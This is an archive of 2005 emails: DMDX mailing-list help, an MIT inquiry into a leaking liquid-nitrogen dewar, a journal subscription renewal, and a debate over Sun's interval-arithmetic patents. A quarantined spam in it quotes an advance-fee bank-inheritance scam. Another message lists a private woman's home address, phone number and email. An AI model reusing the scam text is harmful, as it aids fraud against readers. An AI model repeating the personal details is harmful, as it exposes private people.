Experiment with 4 inputs plus start key,"I have a procedure in which subjects report the location of a target item (whilst ignoring another itme). There are 4 possible locations (up, down, left, right). In a Turbo Pascal implementation on older (DOS) machines, I used a digital joystick. It is not clear to me (from reading help files) whether DMDX can handle 4 inputs like this. Can it? Or is it limited to YES, NO, and START? Thanks, Bruce -- Bruce Weaver bweaver@lakeheadu.ca www.angelfire.com/wv/bwhomedir ",0,0 Kathryn Blass ,"harveyj@mit.edu, rradez@mit.edu, qmahoney@mit.edu, pr_abel@mit.edu, joeg@mit.edu, John.Jordan@airgas.com","Mon, 11 Apr 2005 09:53:04 -0400",Liquid NItrogen emergency at the CPW Welcome Fair,"Hi Harvey, Paul, Quinn, and Rod, We need your help to determine what caused the dewar to leak and freeze up. We would like to ask you to describe specifically what you did before this happened. We will also check the valve to determine if there was a mechanical problem. Thanks John Jordan and Katie Blass At 10:33 PM 4/10/2005 -0400, you wrote: >Sorry about this, I requested that the dewars be removed on Friday >when they were ordered, and we also emailed and phoned to that effect. > >---------- Forwarded message ---------- >From: John Jordan >Date: Apr 10, 2005 7:47 PM >Subject: RE: Fwd: CPW Welcome Fair >To: harveyj@mit.edu, Heinl > > > The dewars will be picked up Monday. > > -----Original Message----- > From: Harvey Jones [mailto:harveyj@gmail.com] > Sent: Sun 4/10/2005 5:24 PM > To: Heinl > Cc: John Jordan > Subject: Re: Fwd: CPW Welcome Fair > > On Apr 9, 2005 12:37 PM, Heinl wrote: > > SATURDAY > > One of your dewars is now leaking and we have contacted >campus police as > > this appears to be somewhat of an emergency. It is visibly >leaking and the > > outside of the NITRO dewar is freezing up as well as the >knobs. I have > > tried reaching you at 5-6219. This is the only number I have. > > These were to be picked up yesterday!! > > Please contact us ASAP > > We contacted the AirGas representatives and requested that they pick > up the dewars on (last) Friday. Please let me know if there is > anything I can do to help. > > Harvey Katie Blass Environment, Health & Safety Office - Safety Program N52-496 Phone 617-253-9495 pager 800-225-0256 PIN 7815322313 EHS 617-452-3477",0,0 Quinn Mahoney ,"harveyj@MIT.EDU, rradez@MIT.EDU, qmahoney@MIT.EDU, pr_abel@MIT.EDU","Mon, 11 Apr 2005 09:57:50 -0400",Re: Liquid NItrogen emergency at the CPW Welcome Fair,"... Do you guys know anything about this? Can we be sure that the dewar wasn't simply releasing pressure automatically? > --=====================_540854768==.ALT > Content-Type: text/plain; charset=""us-ascii""; format=flowed > > Hi Harvey, Paul, Quinn, and Rod, > > We need your help to determine what caused the dewar to leak and freeze > up. We would like to ask you to describe specifically what you did before > this happened. We will also check the valve to determine if there was a > mechanical problem. > > Thanks > John Jordan and Katie Blass > > > At 10:33 PM 4/10/2005 -0400, you wrote: > >Sorry about this, I requested that the dewars be removed on Friday > >when they were ordered, and we also emailed and phoned to that effect. > > > >---------- Forwarded message ---------- > >From: John Jordan > >Date: Apr 10, 2005 7:47 PM > >Subject: RE: Fwd: CPW Welcome Fair > >To: harveyj@mit.edu, Heinl > > > > > > The dewars will be picked up Monday. > > > > -----Original Message----- > > From: Harvey Jones [mailto:harveyj@gmail.com] > > Sent: Sun 4/10/2005 5:24 PM > > To: Heinl > > Cc: John Jordan > > Subject: Re: Fwd: CPW Welcome Fair > > > > On Apr 9, 2005 12:37 PM, Heinl wrote: > > > SATURDAY > > > One of your dewars is now leaking and we have contacted > >campus police as > > > this appears to be somewhat of an emergency. It is visibly > >leaking and the > > > outside of the NITRO dewar is freezing up as well as the > >knobs. I have > > > tried reaching you at 5-6219. This is the only number I have. > > > These were to be picked up yesterday!! > > > Please contact us ASAP > > > > We contacted the AirGas representatives and requested that they pic > k > > up the dewars on (last) Friday. Please let me know if there is > > anything I can do to help. > > > > Harvey > > Katie Blass > Environment, Health & Safety Office - Safety Program > N52-496 > Phone 617-253-9495 > pager 800-225-0256 PIN 7815322313 > EHS 617-452-3477 > --=====================_540854768==.ALT > Content-Type: text/html; charset=""us-ascii"" > > > > Hi Harvey, Paul, Quinn, and Rod, > We need your help to determine what caused the dewar to leak and freeze > up.  We would like to ask you to describe specifically what you did > before this happened.  We will also check the valve to determine if > there was a mechanical problem.  > Thanks > John Jordan and Katie Blass > > At 10:33 PM 4/10/2005 -0400, you wrote: > Sorry about this, I requested that > the dewars be removed on Friday > when they were ordered, and we also emailed and phoned to that > effect. > ---------- Forwarded message ---------- > From: John Jordan > Date: Apr 10, 2005 7:47 PM > Subject: RE: Fwd: CPW Welcome Fair > To: harveyj@mit.edu, Heinl > >  The dewars will be picked up Monday. >         -----Original > Message----- >         From: Harvey Jones > [mailto:harveyj@gmail.com > ] >         Sent: Sun 4/10/2005 5:24 > PM >         To: Heinl >         Cc: John Jordan >         Subject: Re: Fwd: CPW Welcome > Fair >         On Apr 9, 2005 12:37 PM, Heinl > wrote: >         >  SATURDAY >         >  One of your dewars > is now leaking and we have contacted > campus police as >         > this appears to be > somewhat of an emergency.  It is visibly > leaking and the >         > outside of the NITRO > dewar is freezing up as well as the > knobs.  I have >         > tried reaching you at > 5-6219.  This is the only number I have. >         >  These were to be > picked up yesterday!! >         >  Please contact us > ASAP >         We contacted the AirGas > representatives and requested that they pick >         up the dewars on (last) > Friday. Please let me know if there is >         anything I can do to > help. >         Harvey > > > > Katie Blass > Environment, Health & Safety Office - Safety Program > N52-496 > Phone 617-253-9495 > pager 800-225-0256   PIN 7815322313 > EHS 617-452-3477 > > --=====================_540854768==.ALT-- >",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 11 Apr 2005 09:58:42 -0700",[DMDX] Re: Experiment with 4 inputs plus start key,"At 11:31 AM 4/11/2005 -0400, you wrote: >I have a procedure in which subjects report the location of a target item >(whilst ignoring another itme). There are 4 possible locations (up, down, >left, right). In a Turbo Pascal implementation on older (DOS) machines, I >used a digital joystick. > >It is not clear to me (from reading help files) whether DMDX can handle 4 >inputs like this. Can it? Or is it limited to YES, NO, and START? It can handle them. You can map and unmap keys as they are needed and for decisions with more than the usual number of DMDX choices see the keyword. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gerrold's Laws of Infernal Dynamics: 1. An object in motion will be heading in the wrong direction. 2. An object at rest will be in the wrong place.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 11 Apr 2005 10:04:26 -0700",[DMDX] Re: Query about video,"At 01:54 PM 4/11/2005 +0100, you wrote: >Hi, > >I'm trying to use DMDX to display bitmap files. When I do a video test in >TimeDX, I get a good display (for 24 bit bitmaps, but not 16bit bitmaps). >However, when I use the actual program the display quality is poor for all >bitmaps - coarse pixellation, plenty of wayward pixels with inappropriate >colours. The computer is a DELL Inspiron 8600, and the video driver is >called NVIDIA Geforce. > >Any advice would be greatly appreciated. Use a 24 bit video mode. Like . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gerrold's Laws of Infernal Dynamics: 1. An object in motion will be heading in the wrong direction. 2. An object at rest will be in the wrong place.",0,0 Harvey Jones ,Quinn Mahoney ,"Mon, 11 Apr 2005 10:33:11 -0400",Re: Liquid NItrogen emergency at the CPW Welcome Fair,"That would be my question... I'm going to email them and ask them exactly what the problem was. On Apr 11, 2005 9:57 AM, Quinn Mahoney wrote: > > ... > > Do you guys know anything about this? > > Can we be sure that the dewar wasn't simply releasing pressure automatically? > > > --=====================_540854768==.ALT > > Content-Type: text/plain; charset=""us-ascii""; format=flowed > > > > Hi Harvey, Paul, Quinn, and Rod, > > > > We need your help to determine what caused the dewar to leak and freeze > > up. We would like to ask you to describe specifically what you did before > > this happened. We will also check the valve to determine if there was a > > mechanical problem. > > > > Thanks > > John Jordan and Katie Blass > > > > > > At 10:33 PM 4/10/2005 -0400, you wrote: > > >Sorry about this, I requested that the dewars be removed on Friday > > >when they were ordered, and we also emailed and phoned to that effect. > > > > > >---------- Forwarded message ---------- > > >From: John Jordan > > >Date: Apr 10, 2005 7:47 PM > > >Subject: RE: Fwd: CPW Welcome Fair > > >To: harveyj@mit.edu, Heinl > > > > > > > > > The dewars will be picked up Monday. > > > > > > -----Original Message----- > > > From: Harvey Jones [mailto:harveyj@gmail.com] > > > Sent: Sun 4/10/2005 5:24 PM > > > To: Heinl > > > Cc: John Jordan > > > Subject: Re: Fwd: CPW Welcome Fair > > > > > > On Apr 9, 2005 12:37 PM, Heinl wrote: > > > > SATURDAY > > > > One of your dewars is now leaking and we have contacted > > >campus police as > > > > this appears to be somewhat of an emergency. It is visibly > > >leaking and the > > > > outside of the NITRO dewar is freezing up as well as the > > >knobs. I have > > > > tried reaching you at 5-6219. This is the only number I have. > > > > These were to be picked up yesterday!! > > > > Please contact us ASAP > > > > > > We contacted the AirGas representatives and requested that they pic > > k > > > up the dewars on (last) Friday. Please let me know if there is > > > anything I can do to help. > > > > > > Harvey > > > > Katie Blass > > Environment, Health & Safety Office - Safety Program > > N52-496 > > Phone 617-253-9495 > > pager 800-225-0256 PIN 7815322313 > > EHS 617-452-3477 > > --=====================_540854768==.ALT > > Content-Type: text/html; charset=""us-ascii"" > > > > > > > > Hi Harvey, Paul, Quinn, and Rod, > > We need your help to determine what caused the dewar to leak and freeze > > up.  We would like to ask you to describe specifically what you did > > before this happened.  We will also check the valve to determine if > > there was a mechanical problem.  > > Thanks > > John Jordan and Katie Blass > > > > At 10:33 PM 4/10/2005 -0400, you wrote: > > Sorry about this, I requested that > > the dewars be removed on Friday > > when they were ordered, and we also emailed and phoned to that > > effect. > > ---------- Forwarded message ---------- > > From: John Jordan > > Date: Apr 10, 2005 7:47 PM > > Subject: RE: Fwd: CPW Welcome Fair > > To: harveyj@mit.edu, Heinl > > > >  The dewars will be picked up Monday. > >         -----Original > > Message----- > >         From: Harvey Jones > > [mailto:harveyj@gmail.com > > ] > >         Sent: Sun 4/10/2005 5:24 > > PM > >         To: Heinl > >         Cc: John Jordan > >         Subject: Re: Fwd: CPW Welcome > > Fair > >         On Apr 9, 2005 12:37 PM, Heinl > > wrote: > >         >  SATURDAY > >         >  One of your dewars > > is now leaking and we have contacted > > campus police as > >         > this appears to be > > somewhat of an emergency.  It is visibly > > leaking and the > >         > outside of the NITRO > > dewar is freezing up as well as the > > knobs.  I have > >         > tried reaching you at > > 5-6219.  This is the only number I have. > >         >  These were to be > > picked up yesterday!! > >         >  Please contact us > > ASAP > >         We contacted the AirGas > > representatives and requested that they pick > >         up the dewars on (last) > > Friday. Please let me know if there is > >         anything I can do to > > help. > >         Harvey > > > > > > > > Katie Blass > > Environment, Health & Safety Office - Safety Program > > N52-496 > > Phone 617-253-9495 > > pager 800-225-0256   PIN 7815322313 > > EHS 617-452-3477 > > > > --=====================_540854768==.ALT-- > > >",0,0 Harvey Jones ,Kathryn Blass ,"Mon, 11 Apr 2005 10:49:09 -0400",Re: Liquid NItrogen emergency at the CPW Welcome Fair,"On Apr 11, 2005 9:53 AM, Kathryn Blass wrote: > Hi Harvey, Paul, Quinn, and Rod, > > We need your help to determine what caused the dewar to leak and freeze up. > We would like to ask you to describe specifically what you did before this > happened. We will also check the valve to determine if there was a > mechanical problem. What was the specific malfunction? Was there damage to the dewar itself? Was there leaking more severe than the normal hissing that was occurring when the dewars were delivered? It's been my experience that the valves and hose and spigots get covered in a thick layer of frost while using the ln2 over the course of the evening, is this what is being described, or something more severe? Nobody here knew anything was wrong with the dewar(s) until Saturday, more than 36 hours after we last touched them. As far as I know, all that happened was that we wheeled the dewars across the lobby, and accessed the LN2 via the valves and spigots. We then wheeled them over to the corner at 12:30 Friday morning and left. Harvey",0,0 Bruce Weaver ,DMDX@psy1.psych.arizona.edu,"Mon, 11 Apr 2005 14:10:31 -0400",[DMDX] Re: Experiment with 4 inputs plus start key,"Jonathan C. Forster wrote: > At 11:31 AM 4/11/2005 -0400, you wrote: > >> I have a procedure in which subjects report the location of a target >> item (whilst ignoring another itme). There are 4 possible locations >> (up, down, left, right). In a Turbo Pascal implementation on older >> (DOS) machines, I used a digital joystick. >> >> It is not clear to me (from reading help files) whether DMDX can >> handle 4 inputs like this. Can it? Or is it limited to YES, NO, and >> START? > > > It can handle them. You can map and unmap keys as they are needed and > for decisions with more than the usual number of DMDX choices see the > keyword. Thanks Jonathan. Does anyone have a simple example of using in this fashion? I didn't see it in any of the sample files I found on tutorial pages. Cheers, Bruce -- Bruce Weaver bweaver@lakeheadu.ca www.angelfire.com/wv/bwhomedir",0,0 Matt McGann ,Rob Radez ,"Mon, 11 Apr 2005 13:37:20 -0400",Re: cryofac allergic reaction," Ms. Elisabeth M. Markham 1543 Soledad Avenue La Jolla, CA 92037 858-459-2546 elisabethmmarkham@yahoo.com I saw her Saturday night in the EC courtyard for the Coffeemate explosion, and afterwards she headed off to Meat Market. You'd never know she had any problems. She's pretty awesome. -- Matt >Matt, do you have any more info on the girl who had the allergic >reaction to peanuts at the cpw festival last night? If possible (and as >long as she's not allergic to pollen or something), I'd like to send her >some flowers and a card apologizing for doing that to her. > >Thanks, >Rob > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus ",0,0 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Mon, 11 Apr 2005 15:39:37 -0400",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 5 messages in your spam quarantine inbox. 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When I do a video test in >TimeDX, I get a good display (for 24 bit bitmaps, but not 16bit bitmaps). >However, when I use the actual program the display quality is poor for all >bitmaps - coarse pixellation, plenty of wayward pixels with inappropriate >colours. The computer is a DELL Inspiron 8600, and the video driver is >called NVIDIA Geforce. > >Any advice would be greatly appreciated. Use a 24 bit video mode. Like . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gerrold's Laws of Infernal Dynamics: 1. An object in motion will be heading in the wrong direction. 2. An object at rest will be in the wrong place. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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In June 1998, a German Oil consultant/contractor with the British Solid Minerals Corporation, Mr. BENJAMIN JESSE-JAMES made a numbered time (Fixed) Deposit for twelve calendar months (AMOUNT WITHELD FOR SECURITY REASONS) with my bank where I am Branch Operations Manager. Upon maturity of his deposit, Rabo bank Investments and loans department sent a routine notification to his forwarding address in America and Germany but got no reply. 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I must let you know that Rabo bank also gives the choice to depositors of having messages sent to them or held at the bank itself, ensuring that there are no traces of the account and as such rarely do they nominate next of kin. Private banking clients apart from not nominating next of kin also usually in most cases leave wills in our care, in this case; MR. BENJAMIN JESSE-JAMES died interstate. In line with our internal processes for account holders who have passed away, we instituted our own investigations in good faith to determine who should have right to claim the estate.This investigation has for the past months been unfruitful because no one has been contacted as far as this management is concerned. We have scanned every continent and used our private investigation affiliate companies to get to the root of the problem. This very large sum has since been sitting in my Bank and the interest is being rolled over with the principal sum at the end of each year.No one will ever come forward to claim it, and according to the New Laws of The Netherlands, at the expiration of 7(seven) years, the money will revert to the ownership of the Netherlands Government if nobody applies to claim the funds.What I wish to relate to you will smack of unethical practice but I want you to understand something,it is only an outsider to the banking world who finds the internal politics of the banking world aberrational. The world of banking especially is fraught with huge rewards for those who occupy certain offices and oversee certain portfolios.You should have begun by now to put together the general direction of what I propose. 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I did this by putting it into excel, deleting which alternative they chose, and keeping the response time to the initial passage and the questions and whether they were correct or not. Then I put the excel file back into text format. I've achieved this before, but I have learnt that analyse is very sensitive to format changes. Although my file looks okay, I can't make analyse work. It won't read the data somehow and thinks i have duplicated all the subjects. it produces a series of noughts as output. Can anybody see what I have done wrong? See below. Many thanks, Virginia Holmes P.S. Interestingly enough, it resembles an azk file closely enough that the azk to columns program accepts it. Subjects incorporated to date: 38 Data file started on machine PsychLab07 ********************************************************************** Subject 1, 04/06/2005 11:16:10 on PsychLab06, refresh 11.76ms ID MLLILLEY Item RT 1 47721 2 18441 3 16778 4 11903 5 37629 6 10257 7 58361 8 12697 9 8552 10 7726 11 7532 12 6509 13 53245 14 13567 15 -16684 16 7991 17 4936 18 3755 19 69001 20 4855 21 -19822 22 12254 23 9346 24 12864 25 72910 26 11206 27 7114 28 10502 29 -14836 30 6068 31 72585 32 10080 33 -8502 34 6278 35 25610 36 8011 37 67456 38 -4788 39 4614 40 -7539 41 6538 42 7079 43 66908 44 6514 45 10611 46 16622 47 7812 48 -6722 ********************************************************************** Subject 2, 04/06/2005 12:16:10 on PsychLab06, refresh 11.76ms ID mcupples Item RT 1 33326 2 6124 3 -5123 4 5205 5 6952 6 -2350 7 98929 8 8185 9 4642 10 9965 11 11911 12 12308 13 37669 14 8915 15 6364 16 5064 17 27018 18 -2657 19 50364 20 -7771 21 12406 22 7465 23 6959 24 6203 25 77251 26 9322 27 6205 28 6316 29 8194 30 5205 31 53024 32 5880 33 12185 34 6328 35 6410 36 6739 37 67477 38 3470 39 3451 40 3461 41 6573 42 11877 43 68948 44 5226 45 6331 46 8910 47 6550 48 10737 ********************************************************************** Subject 3, 04/06/2005 13:16:10 on PsychLab07, refresh 11.78ms ID dbevan Item RT 1 40907 2 6259 3 5260 4 -3795 5 -9920 6 5534 7 58916 8 5716 9 4714 10 7732 11 7736 etc. Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ",0,0 Hindawi Orders Department ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 13 Apr 2005 16:14:12 +0200",2005 Subscription Renewal to IMRN,"Dear Mr. Phillips: I am writing regarding 2005 subscription renewal to ""International Mathematics Research Notices"" (ISSN 1073- 7928). Volume 2005 will have 4500± pages (about 200-300 more pages than volume 2004). 2005 subscription rates are as follows: -$2,395 for the print only. -$2,395 online only subscription. -$2,874 for the print and online subscription. In addition, we are still offering ""Applied Mathematics Research eXpress"" (ISSN 1687-1200) and ""International Mathematics Research Surveys"" (ISSN 1687-1308) and ""International Mathematics Research Papers"" (ISSN 1687-3017) for free to IMRN subscribers in 2005. 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I noticed someone here the other day having done the same thing (opened AZK files in Excel and saved them) that Excel had somehow changed the individual Subject header lines and we had to replace the word ""Subject"" with one pasted from and unmutilated AZK file. Even though it looked just the same Excel must have used some kind of extended character set character in there (I didn't stick it in my hex editor to check just what it was though). At 09:35 PM 4/13/2005 +1000, you wrote: >Dear all > > > >The input file for my experiment asked for visual presentation, consisting >of an initial passage followed by five multiple-choice questions, to which >the subj pressed one of five numbers to indicate their answer. I've tried >to convert the zil results file into an azk file so that I can use >analyse. I did this by putting it into excel, deleting which alternative >they chose, and keeping the response time to the initial passage and the >questions and whether they were correct or not. Then I put the excel file >back into text format. I've achieved this before, but I have learnt that >analyse is very sensitive to format changes. Although my file looks okay, >I can't make analyse work. It won't read the data somehow and thinks i >have duplicated all the subjects. it produces a series of noughts as >output. Can anybody see what I have done wrong? See below. > > > >Many thanks, > > > >Virginia Holmes > > > >P.S. Interestingly enough, it resembles an azk file closely enough that >the azk to columns program accepts it. > > > > > >Subjects incorporated to date: 38 ns = ""urn:schemas-microsoft-com:office:office"" /> > >Data file started on machine PsychLab07 > > > >********************************************************************** > >Subject 1, 04/06/2005 11:16:10 >on PsychLab06, refresh 11.76ms ID MLLILLEY > > Item RT > > 1 47721 > > 2 18441 > > 3 16778 > > 4 11903 > > 5 37629 > > 6 10257 > > 7 58361 > > 8 12697 > > 9 8552 > > 10 7726 > > 11 7532 > > 12 6509 > > 13 53245 > > 14 13567 > > 15 -16684 > > 16 7991 > > 17 4936 > > 18 3755 > > 19 69001 > > 20 4855 > > 21 -19822 > > 22 12254 > > 23 9346 > > 24 12864 > > 25 72910 > > 26 11206 > > 27 7114 > > 28 10502 > > 29 -14836 > > 30 6068 > > 31 72585 > > 32 10080 > > 33 -8502 > > 34 6278 > > 35 25610 > > 36 8011 > > 37 67456 > > 38 -4788 > > 39 4614 > > 40 -7539 > > 41 6538 > > 42 7079 > > 43 66908 > > 44 6514 > > 45 10611 > > 46 16622 > > 47 7812 > > 48 -6722 > > > >********************************************************************** > >Subject 2, 04/06/2005 12:16:10 >on PsychLab06, refresh 11.76ms ID mcupples > > Item RT > > 1 33326 > > 2 6124 > > 3 -5123 > > 4 5205 > > 5 6952 > > 6 -2350 > > 7 98929 > > 8 8185 > > 9 4642 > > 10 9965 > > 11 11911 > > 12 12308 > > 13 37669 > > 14 8915 > > 15 6364 > > 16 5064 > > 17 27018 > > 18 -2657 > > 19 50364 > > 20 -7771 > > 21 12406 > > 22 7465 > > 23 6959 > > 24 6203 > > 25 77251 > > 26 9322 > > 27 6205 > > 28 6316 > > 29 8194 > > 30 5205 > > 31 53024 > > 32 5880 > > 33 12185 > > 34 6328 > > 35 6410 > > 36 6739 > > 37 67477 > > 38 3470 > > 39 3451 > > 40 3461 > > 41 6573 > > 42 11877 > > 43 68948 > > 44 5226 > > 45 6331 > > 46 8910 > > 47 6550 > > 48 10737 > > > >********************************************************************** > >Subject 3, 04/06/2005 13:16:10 on PsychLab07, refresh 11.78ms ID dbevan > > Item RT > > 1 40907 > > 2 6259 > > 3 5260 > > 4 -3795 > > 5 -9920 > > 6 5534 > > 7 58916 > > 8 5716 > > 9 4714 > > 10 7732 > > 11 7736 etc. > > > >Assoc. Prof. V. M. Holmes >Department of Psychology >University of Melbourne >Parkville 3010 >Australia > >Tel: (03) 8344.6368 >Facs: (03) 9347.6618 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where there is sugar, there are ants. - Malaysian Proverb",0,0 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Apr 2005 12:35:15 +1000",[DMDX] Re: analyse and zil,"Dear all I looked for the tabs, but they must have arrived during transmission. I am embarassed to report that I finally noticed what ultimately was causing the problem (after I got the format right). Thanks for somehow inspiring me to think laterally. Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ----- Original Message ----- From: ""j.c.f."" To: Sent: Thursday, April 14, 2005 1:11 AM Subject: [DMDX] Re: analyse and zil > > You've got tabs in there instead of spaces, for instance between > ""Subjects"" and ""incorporated"". Excel loves putting tabs in and DMDX never > uses them so Analyze is thrown by their presence. I noticed someone here > the other day having done the same thing (opened AZK files in Excel and > saved them) that Excel had somehow changed the individual Subject header > lines and we had to replace the word ""Subject"" with one pasted from and > unmutilated AZK file. Even though it looked just the same Excel must have > used some kind of extended character set character in there (I didn't > stick it in my hex editor to check just what it was though). > > At 09:35 PM 4/13/2005 +1000, you wrote: > >>Dear all >> >> >> >>The input file for my experiment asked for visual presentation, consisting >>of an initial passage followed by five multiple-choice questions, to which >>the subj pressed one of five numbers to indicate their answer. I've tried >>to convert the zil results file into an azk file so that I can use >>analyse. I did this by putting it into excel, deleting which alternative >>they chose, and keeping the response time to the initial passage and the >>questions and whether they were correct or not. Then I put the excel file >>back into text format. I've achieved this before, but I have learnt that >>analyse is very sensitive to format changes. Although my file looks okay, >>I can't make analyse work. It won't read the data somehow and thinks i >>have duplicated all the subjects. it produces a series of noughts as >>output. Can anybody see what I have done wrong? See below. >> >> >> >>Many thanks, >> >> >> >>Virginia Holmes >> >> >> >>P.S. Interestingly enough, it resembles an azk file closely enough that >>the azk to columns program accepts it. >> >> >> >> >> >>Subjects incorporated to date: 38 >ns = ""urn:schemas-microsoft-com:office:office"" /> >> >>Data file started on machine PsychLab07 >> >> >> >>********************************************************************** >> >>Subject 1, 04/06/2005 11:16:10 on PsychLab06, refresh 11.76ms ID >>MLLILLEY >> >> Item RT >> >> 1 47721 >> >> 2 18441 >> >> 3 16778 >> >> 4 11903 >> >> 5 37629 >> >> 6 10257 >> >> 7 58361 >> >> 8 12697 >> >> 9 8552 >> >> 10 7726 >> >> 11 7532 >> >> 12 6509 >> >> 13 53245 >> >> 14 13567 >> >> 15 -16684 >> >> 16 7991 >> >> 17 4936 >> >> 18 3755 >> >> 19 69001 >> >> 20 4855 >> >> 21 -19822 >> >> 22 12254 >> >> 23 9346 >> >> 24 12864 >> >> 25 72910 >> >> 26 11206 >> >> 27 7114 >> >> 28 10502 >> >> 29 -14836 >> >> 30 6068 >> >> 31 72585 >> >> 32 10080 >> >> 33 -8502 >> >> 34 6278 >> >> 35 25610 >> >> 36 8011 >> >> 37 67456 >> >> 38 -4788 >> >> 39 4614 >> >> 40 -7539 >> >> 41 6538 >> >> 42 7079 >> >> 43 66908 >> >> 44 6514 >> >> 45 10611 >> >> 46 16622 >> >> 47 7812 >> >> 48 -6722 >> >> >> >>********************************************************************** >> >>Subject 2, 04/06/2005 12:16:10 on PsychLab06, refresh 11.76ms ID >>mcupples >> >> Item RT >> >> 1 33326 >> >> 2 6124 >> >> 3 -5123 >> >> 4 5205 >> >> 5 6952 >> >> 6 -2350 >> >> 7 98929 >> >> 8 8185 >> >> 9 4642 >> >> 10 9965 >> >> 11 11911 >> >> 12 12308 >> >> 13 37669 >> >> 14 8915 >> >> 15 6364 >> >> 16 5064 >> >> 17 27018 >> >> 18 -2657 >> >> 19 50364 >> >> 20 -7771 >> >> 21 12406 >> >> 22 7465 >> >> 23 6959 >> >> 24 6203 >> >> 25 77251 >> >> 26 9322 >> >> 27 6205 >> >> 28 6316 >> >> 29 8194 >> >> 30 5205 >> >> 31 53024 >> >> 32 5880 >> >> 33 12185 >> >> 34 6328 >> >> 35 6410 >> >> 36 6739 >> >> 37 67477 >> >> 38 3470 >> >> 39 3451 >> >> 40 3461 >> >> 41 6573 >> >> 42 11877 >> >> 43 68948 >> >> 44 5226 >> >> 45 6331 >> >> 46 8910 >> >> 47 6550 >> >> 48 10737 >> >> >> >>********************************************************************** >> >>Subject 3, 04/06/2005 13:16:10 on PsychLab07, refresh 11.78ms ID >>dbevan >> >> Item RT >> >> 1 40907 >> >> 2 6259 >> >> 3 5260 >> >> 4 -3795 >> >> 5 -9920 >> >> 6 5534 >> >> 7 58916 >> >> 8 5716 >> >> 9 4714 >> >> 10 7732 >> >> 11 7736 etc. >> >> >> >>Assoc. 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At http://www.uspto.gov/patft Left side is patents issued Right side is published applications On either side, select [Advanced Search] In the Query box, type: IN/walster [Search] Bill has been granted 10 patents (two #5,7**,*** are not his) 23 applications are pending Full text of the patents or applications are available there for your reading See especially 6,859,817 Solving systems of nonlinear equations using interval arithmetic and term consistency 6,823,352 Solving a nonlinear equation through interval arithmetic and term consistency Some believe that much of this work belongs to the prior art, in patent language. That is, it was done more than one year before the patent applications were filed. In many cases, the work may have been done previously by many members of this community. According to my best understanding, as individuals, probably our most effective strategy is: For pending applications, do nothing. Why is a longer letter than I want to write this morning. For issued patents, anyone can send a report to the Office of Patents and Trademarks outlining prior art, that is, material (especially published or commercial product, e.g., ILOG's Numerica) in which the work claimed in the patents had appeared more than one year before the patent application. Your report has no direct effect, but it goes into the patent file. If someone sues Sun, or if Sun sues anyone, both parties will have the benefit of your research to help make their cases. According to a recent masters thesis by attorney Jill Gilbert, proposals for reform of the patent process have been advanced by the US Patent and Trademark Office, the Federal Trade Commission, and the National Research Council. You might consider informing yourself and lobbying for Congressional action. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 George.Corliss@Marquette.edu ",0,1 Zenon Kulpa ,reliable_computing@interval.louisiana.edu,"Wed, 20 Apr 2005 17:38:02 +0200",Re: Sun's interval patents,"George Corliss wrote: > > Update on Sun's patent applications: Several of the applications have been > issued as patents, including two dealing with term consistency - constraint > propagation. > [...] > > See especially > 6,859,817 > Solving systems of nonlinear equations using interval arithmetic and term > consistency > > 6,823,352 > Solving a nonlinear equation through interval arithmetic and term > consistency > But what about such basic operations like: 6,842,764 Minimum and maximum operations to facilitate interval multiplication and/or interval division 6,779,006 Performing dependent subtraction on arithmetic intervals within a computer system 6,751,638 Min and max operations for multiplication and/or division under the simple interval system With them patented, most interval progams will have to infringe the patents when trying to do elementary interval arithmetic... Or am I missing something? -- Zenon Kulpa ",0,0 Martin Berz ,reliable_computing@interval.louisiana.edu,"Wed, 20 Apr 2005 12:19:07 -0400",Re: Sun's interval patents,"Zenon, George, Vladik, indeed the patents would interfere with most interval tools, and this has all kinds of consequences. Unfortunately from our end, this situation has now led to the fact that we are not allowed to talk to people involved in the patent applications anymore to prevent any conceivable later claims of knowledge transfer about material in the applications. This is of course similar to the way that SUN isn't talking about it either, and it unfortunately seems to be the way lawyers do want to handle such matters. In fact, the funding agencies DOE and NSF are very worried about endangering the approximately $5 Million that went into the development of our COSY tool so far, because obviously several pieces of it would fall under the claims of the patent applications. So the COSY project could conceivably be shut down or at least attacked and hopelessly bogged down by an overzealous army of SUN lawyers. How far-fetched is this worry? Who knows; I would have considered it hopelessly far-fetched to think that anyone would want to apply for such patents in the first place. Just recently this had the very frustrating effect that we cannot interact anymore with one of our past valued consultants who is involved on the fringe of the patent issues. We also could not follow a request from the European Space Agency to apply the COSY validated integrators to some of their solar system orbit problems, since although ESA stated to me that they strongly discourage such patent efforts, some of their potential contractors are apparently involved in it. What a pity it all is. Martin Berz ",0,0 George Corliss ,Zenon Kulpa ,"Wed, 20 Apr 2005 12:07:31 -0500",Re: Sun's interval patents,"Zenon, > With them patented, most interval progams will have to infringe > the patents when trying to do elementary interval arithmetic... > Or am I missing something? No, you are correct. I had singled out the ones on constraint propagation just because they were the ones on my mind. The ones you point to have SOME ties to Sun hardware, and Sun probably IS entitled to patent hardware/software implementations of the basic interval operations. However, as I read the patents you list, yes, any software package that implements interval multiply or divide as [min, max] of the four combinations of endpoint probably infringes Sun's patents. Those claims seem entirely unenforceable, and I have no intention of changing my behavior or that of my codes to work around them. I think it unlikely 